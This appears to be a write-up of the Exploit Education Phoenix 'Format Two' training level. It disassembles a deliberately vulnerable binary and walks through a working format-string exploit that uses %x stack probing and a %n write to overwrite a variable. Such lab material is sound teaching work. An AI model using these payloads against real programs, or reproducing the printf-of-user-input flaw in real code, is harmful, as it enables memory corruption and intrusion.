Exploit Education Phoenix x86 Format Two
2019-10-18
Introduction
Format Two is the continuation of the format string vulnerability challenges.
Recon
$ r2 /opt/phoenix/i486/format-two
[0x08048380]> aas
Cannot analyze at 0x08048620
[0x08048380]> afl
0x080482fc 1 17 sym._init
0x080484d0 7 277 -> 112 sym.frame_dummy
0x080485e0 5 49 sym.__do_global_ctors_aux
0x08048611 1 12 sym._fini
0x08048450 8 113 -> 111 sym.__do_global_dtors_aux
0x08048114 44 524 -> 608 sym..interp
0x08048380 1 62 entry0
0x08048370 1 6 sym.imp.__libc_start_main
0x080486c4 1 14 loc.__GNU_EH_FRAME_HDR
0x080486e8 3 34 sym..eh_frame
0x08048724 1 10 obj.__EH_FRAME_BEGIN
0x080483c0 4 49 -> 40 sym.deregister_tm_clones
0x0804876c 1 4 obj.__FRAME_END
0x0804852c 6 172 main
0x08048515 1 23 sym.bounce
0x08048320 1 6 sym.imp.printf
0x08048330 1 6 sym.imp.puts
0x08048340 1 6 sym.imp.strncpy
0x08048350 1 6 sym.imp.memset
0x08048360 1 6 sym.imp.exit
[0x08048380]> s main
[0x0804852c]> pdf
/ (fcn) main 172
| int main (int argc, char **argv, char **envp);
| ; var int32_t var_108h @ ebp-0x108
| ; arg int32_t arg_4h @ esp+0x4
| ; DATA XREF from entry0 @ 0x80483b4
| 0x0804852c 8d4c2404 lea ecx, [arg_4h]
| 0x08048530 83e4f0 and esp, 0xfffffff0
| 0x08048533 ff71fc push dword [ecx - 4]
| 0x08048536 55 push ebp
| 0x08048537 89e5 mov ebp, esp
| 0x08048539 53 push ebx
| 0x0804853a 51 push ecx
| 0x0804853b 81ec00010000 sub esp, 0x100
| 0x08048541 89cb mov ebx, ecx
| 0x08048543 83ec0c sub esp, 0xc
| 0x08048546 6820860408 push str.Welcome_to_phoenix_format_two__brought_to_you_by_https:__exploit.education ; sym..rodata
| ; 0x8048620 ; "Welcome to phoenix/format-two, brought to you by https://exploit.education"
| 0x0804854b e8e0fdffff call sym.imp.puts ; int puts(const char *s)
| 0x08048550 83c410 add esp, 0x10
| 0x08048553 833b01 cmp dword [ebx], 1
| ,=< 0x08048556 7e4b jle 0x80485a3
| | 0x08048558 83ec04 sub esp, 4
| | 0x0804855b 6800010000 push 0x100 ; 256
| | 0x08048560 6a00 push 0
| | 0x08048562 8d85f8feffff lea eax, [var_108h]
| | 0x08048568 50 push eax
| | 0x08048569 e8e2fdffff call sym.imp.memset ; void *memset(void *s, int c, size_t n)
| | 0x0804856e 83c410 add esp, 0x10
| | 0x08048571 8b4304 mov eax, dword [ebx + 4]
| | 0x08048574 83c004 add eax, 4
| | 0x08048577 8b00 mov eax, dword [eax]
| | 0x08048579 83ec04 sub esp, 4
| | 0x0804857c 6800010000 push 0x100 ; 256
| | 0x08048581 50 push eax
| | 0x08048582 8d85f8feffff lea eax, [var_108h]
| | 0x08048588 50 push eax
| | 0x08048589 e8b2fdffff call sym.imp.strncpy ; char *strncpy(char *dest, const char *src, size_t n)
| | 0x0804858e 83c410 add esp, 0x10
| | 0x08048591 83ec0c sub esp, 0xc
| | 0x08048594 8d85f8feffff lea eax, [var_108h]
| | 0x0804859a 50 push eax
| | 0x0804859b e875ffffff call sym.bounce
| | 0x080485a0 83c410 add esp, 0x10
| `-> 0x080485a3 a168980408 mov eax, dword [obj.changeme] ; [0x8049868:4]=0
| 0x080485a8 85c0 test eax, eax
| ,=< 0x080485aa 7412 je 0x80485be
| | 0x080485ac 83ec0c sub esp, 0xc
| | 0x080485af 686c860408 push str.Well_done__the__changeme__variable_has_been_changed_correctly ; 0x804866c ; "Well done, the 'changeme' variable has been changed correctly!"
| | 0x080485b4 e877fdffff call sym.imp.puts ; int puts(const char *s)
| | 0x080485b9 83c410 add esp, 0x10
| ,==< 0x080485bc eb10 jmp 0x80485ce
| |`-> 0x080485be 83ec0c sub esp, 0xc
| | 0x080485c1 68ab860408 push str.Better_luck_next_time ; 0x80486ab ; "Better luck next time!\n"
| | 0x080485c6 e865fdffff call sym.imp.puts ; int puts(const char *s)
| | 0x080485cb 83c410 add esp, 0x10
| | ; CODE XREF from main @ 0x80485bc
| `--> 0x080485ce 83ec0c sub esp, 0xc
| 0x080485d1 6a00 push 0
\ 0x080485d3 e888fdffff call sym.imp.exit ; void exit(int status)
[0x0804852c]> agf
[0x0804852c]> # int main (int argc, char **argv, char **envp);
.----------------------------------------------------------------------------------------.
| 0x804852c |
| (fcn) main 172 |
| int main (int argc, char **argv, char **envp); |
| ; var int32_t var_108h @ ebp-0x108 |
| ; arg int32_t arg_4h @ esp+0x4 |
| ; DATA XREF from entry0 @ 0x80483b4 |
| lea ecx, [arg_4h] |
| and esp, 0xfffffff0 |
| push dword [ecx - 4] |
| push ebp |
| mov ebp, esp |
| push ebx |
| push ecx |
| sub esp, 0x100 |
| mov ebx, ecx |
| sub esp, 0xc |
| ; sym..rodata |
| ; 0x8048620 |
| ; "Welcome to phoenix/format-two, brought to you by https://exploit.education" |
| push str.Welcome_to_phoenix_format_two__brought_to_you_by_https:__exploit.education |
| ; int puts(const char *s) |
| call sym.imp.puts;[oa] |
| add esp, 0x10 |
| cmp dword [ebx], 1 |
| jle 0x80485a3 |
`----------------------------------------------------------------------------------------'
f t
| |
| '---------------------------------------------------.
.---' |
.---------------------------------------------------------. |
| 0x8048558 | |
| sub esp, 4 | |
| ; 256 | |
| push 0x100 | |
| push 0 | |
| lea eax, [var_108h] | |
| push eax | |
| ; void *memset(void *s, int c, size_t n) | |
| call sym.imp.memset;[ob] | |
| add esp, 0x10 | |
| mov eax, dword [ebx + 4] | |
| add eax, 4 | |
| mov eax, dword [eax] | |
| sub esp, 4 | |
| ; 256 | |
| push 0x100 | |
| push eax | |
| lea eax, [var_108h] | |
| push eax | |
| ; char *strncpy(char *dest, const char *src, size_t n) | |
| call sym.imp.strncpy;[oc] | |
| add esp, 0x10 | |
| sub esp, 0xc | |
| lea eax, [var_108h] | |
| push eax | |
| call sym.bounce;[od] | |
| add esp, 0x10 | |
`---------------------------------------------------------' |
v |
| |
'----------------------------. |
| .--------------------------'
| |
.----------------------------------.
| 0x80485a3 |
| ; [0x8049868:4]=0 |
| mov eax, dword [obj.changeme] |
| test eax, eax |
| je 0x80485be |
`----------------------------------'
f t
| |
| '-----------------------.
.-----------------------------------------------------' |
| |
.---------------------------------------------------------------------------. .-----------------------------------.
| 0x80485ac | | 0x80485be |
| sub esp, 0xc | | sub esp, 0xc |
| ; 0x804866c | | ; 0x80486ab |
| ; "Well done, the 'changeme' variable has been changed correctly!" | | ; "Better luck next time!\n" |
| push str.Well_done__the__changeme__variable_has_been_changed_correctly | | push str.Better_luck_next_time |
| ; int puts(const char *s) | | ; int puts(const char *s) |
| call sym.imp.puts;[oa] | | call sym.imp.puts;[oa] |
| add esp, 0x10 | | add esp, 0x10 |
| jmp 0x80485ce | `-----------------------------------'
`---------------------------------------------------------------------------' v
v |
| |
'---------------------------------------------------. |
| .-------------------------'
| |
.-----------------------------------.
| 0x80485ce |
| ; CODE XREF from main @ 0x80485bc |
| sub esp, 0xc |
| push 0 |
| ; void exit(int status) |
| call sym.imp.exit;[oe] |
`-----------------------------------'
[0x0804852c]> pdf @ sym.bounce
/ (fcn) sym.bounce 23
| sym.bounce (int32_t arg_8h);
| ; arg int32_t arg_8h @ ebp+0x8
| ; CALL XREF from main @ 0x804859b
| 0x08048515 55 push ebp
| 0x08048516 89e5 mov ebp, esp
| 0x08048518 83ec08 sub esp, 8
| 0x0804851b 83ec0c sub esp, 0xc
| 0x0804851e ff7508 push dword [arg_8h]
| 0x08048521 e8fafdffff call sym.imp.printf ; int printf(const char *format)
| 0x08048526 83c410 add esp, 0x10
| 0x08048529 90 nop
| 0x0804852a c9 leave
\ 0x0804852b c3 ret
There are a few things to break down:
- The binary needs an argument.
- The argument is copied into a buffer, which is set to zero beforehand.
- There is a call to
sym.bounce, which simply callsprintfwith the buffer as a format string. - The objective is to overwrite the variable
obj.changemewith an arbitrary value.
Exploit
Due to the simplicity of this level, ltrace should offer enough help to exploit this vulnerability.
The methodology is as follows:
- Execute the binary with
ltraceand as an argument write 4 bytes (e.g.AAAA) followed by one%x. - If the 4 bytes that were written firstly are shown in the output, stop.
- Otherwise, append another
%x. - Repeat from step two.
$ ltrace /opt/phoenix/i486/format-two AAAA%x
__libc_start_main(0x804852c, 2, 0xffdb3ea4, 0x80482fc <unfinished ...>
puts("Welcome to phoenix/format-two, b"...Welcome to phoenix/format-two, brought to you by https://exploit.education
) = 0
memset(0xffdb3d10, '\0', 256) = 0xffdb3d10
strncpy(0xffdb3d10, "AAAA%x", 256) = 0xffdb3d10
printf("AAAA%x", 0xffdb463b) = 12
puts("Better luck next time!\n"AAAAffdb463bBetter luck next time!
) = 0
exit(0 <no return ...>
+++ exited (status 0) +++
$ ltrace /opt/phoenix/i486/format-two AAAA%x%x
__libc_start_main(0x804852c, 2, 0xff943e84, 0x80482fc <unfinished ...>
puts("Welcome to phoenix/format-two, b"...Welcome to phoenix/format-two, brought to you by https://exploit.education
) = 0
memset(0xff943cf0, '\0', 256) = 0xff943cf0
strncpy(0xff943cf0, "AAAA%x%x", 256) = 0xff943cf0
printf("AAAA%x%x", 0xff944639, 0x100) = 15
puts("Better luck next time!\n"AAAAff944639100Better luck next time!
) = 0
exit(0 <no return ...>
+++ exited (status 0) +++
Skipping to the result:
$ ltrace /opt/phoenix/i486/format-two AAAA%x%x%x%x%x%x%x%x%x%x%x%x
__libc_start_main(0x804852c, 2, 0xffc11ff4, 0x80482fc <unfinished ...>
puts("Welcome to phoenix/format-two, b"...Welcome to phoenix/format-two, brought to you by https://exploit.education
) = 0
memset(0xffc11e60, '\0', 256) = 0xffc11e60
strncpy(0xffc11e60, "AAAA%x%x%x%x%x%x%x%x%x%x%x%x", 256) = 0xffc11e60
printf("AAAA%x%x%x%x%x%x%x%x%x%x%x%x", 0xffc13625, 0x100, 0, 0xf7ee6b67, 0xffc11f80, 0xffc11f68, 0x80485a0, 0xffc11e60, 0xffc13625, 0x100, 0x3e8, 0x41414141) = 77
puts("Better luck next time!\n"AAAAffc136251000f7ee6b67ffc11f80ffc11f6880485a0ffc11e60ffc136251003e841414141Better luck next time!
) = 0
exit(0 <no return ...>
+++ exited (status 0) +++
Note the last 4 bytes at the line that starts with printf.
Afterwards, the first 4 bytes are replaced with the address of obj.changeme, the last %x is replaced with %n and the one before that is replaced with %8x. In order to write 4 bytes the %x specifier must be %8x, which will pad the output of %x to 8 characters (i.e. 4 bytes).
The address of obj.changeme can be obtained as follows:
[0x08048380]> px/xw @ obj.changeme
0x08049868 0x00000000 ....
Debugging the binary with the final exploit:
$ r2 -d /opt/phoenix/i486/format-two $(printf "\x68\x98\x04\x08")%x%x%x%x%x%x%x%x%x%x%8x%n
[0xf7f56d4b]> aas
Cannot analyze at 0x08048620
[0xf7f56d4b]> db 0x0804859b
[0xf7f56d4b]> dc
Welcome to phoenix/format-two, brought to you by https://exploit.education
hit breakpoint at: 804859b
[0x0804859b]> dr
eax = 0xff84fb90
ebx = 0xff84fcb0
ecx = 0x00000000
edx = 0x00000003
esi = 0xff84fd24
edi = 0x00000002
esp = 0xff84fb80
ebp = 0xff84fc98
eip = 0x0804859b
eflags = 0x00000296
oeax = 0xffffffff
[0x0804859b]> px/12xw 0xff84fb80
0xff84fb80 0xff84fb90 0xff8505f1 0x00000100 0x000003e8 ................
0xff84fb90 0x08049868 0x78257825 0x78257825 0x78257825 h...%x%x%x%x%x%x
0xff84fba0 0x78257825 0x78257825 0x25783825 0x0000006e %x%x%x%x%8x%n...
[0x0804859b]> px/xw @ obj.changeme
0x08049868 0x00000000 ....
[0x0804859b]> dso
hit breakpoint at: 80485a0
[0x0804859b]> px/12xw 0xff84fb80
0xff84fb80 0xff84fb90 0xff8505f1 0x00000100 0x000003e8 ................
0xff84fb90 0x08049868 0x78257825 0x78257825 0x78257825 h...%x%x%x%x%x%x
0xff84fba0 0x78257825 0x78257825 0x25783825 0x0000006e %x%x%x%x%8x%n...
[0x0804859b]> px/xw @ obj.changeme
0x08049868 0x0000004a J...
[0x0804859b]> dc
hff8505f11000f7f15b67ff84fcb0ff84fc9880485a0ff84fb90ff8505f1100 3e8Well done, the 'changeme' variable has been changed correctly!
Conclusion
This level required the attacker to exploit a format string vulnerability to overwrite a specific variable with an arbitrary value.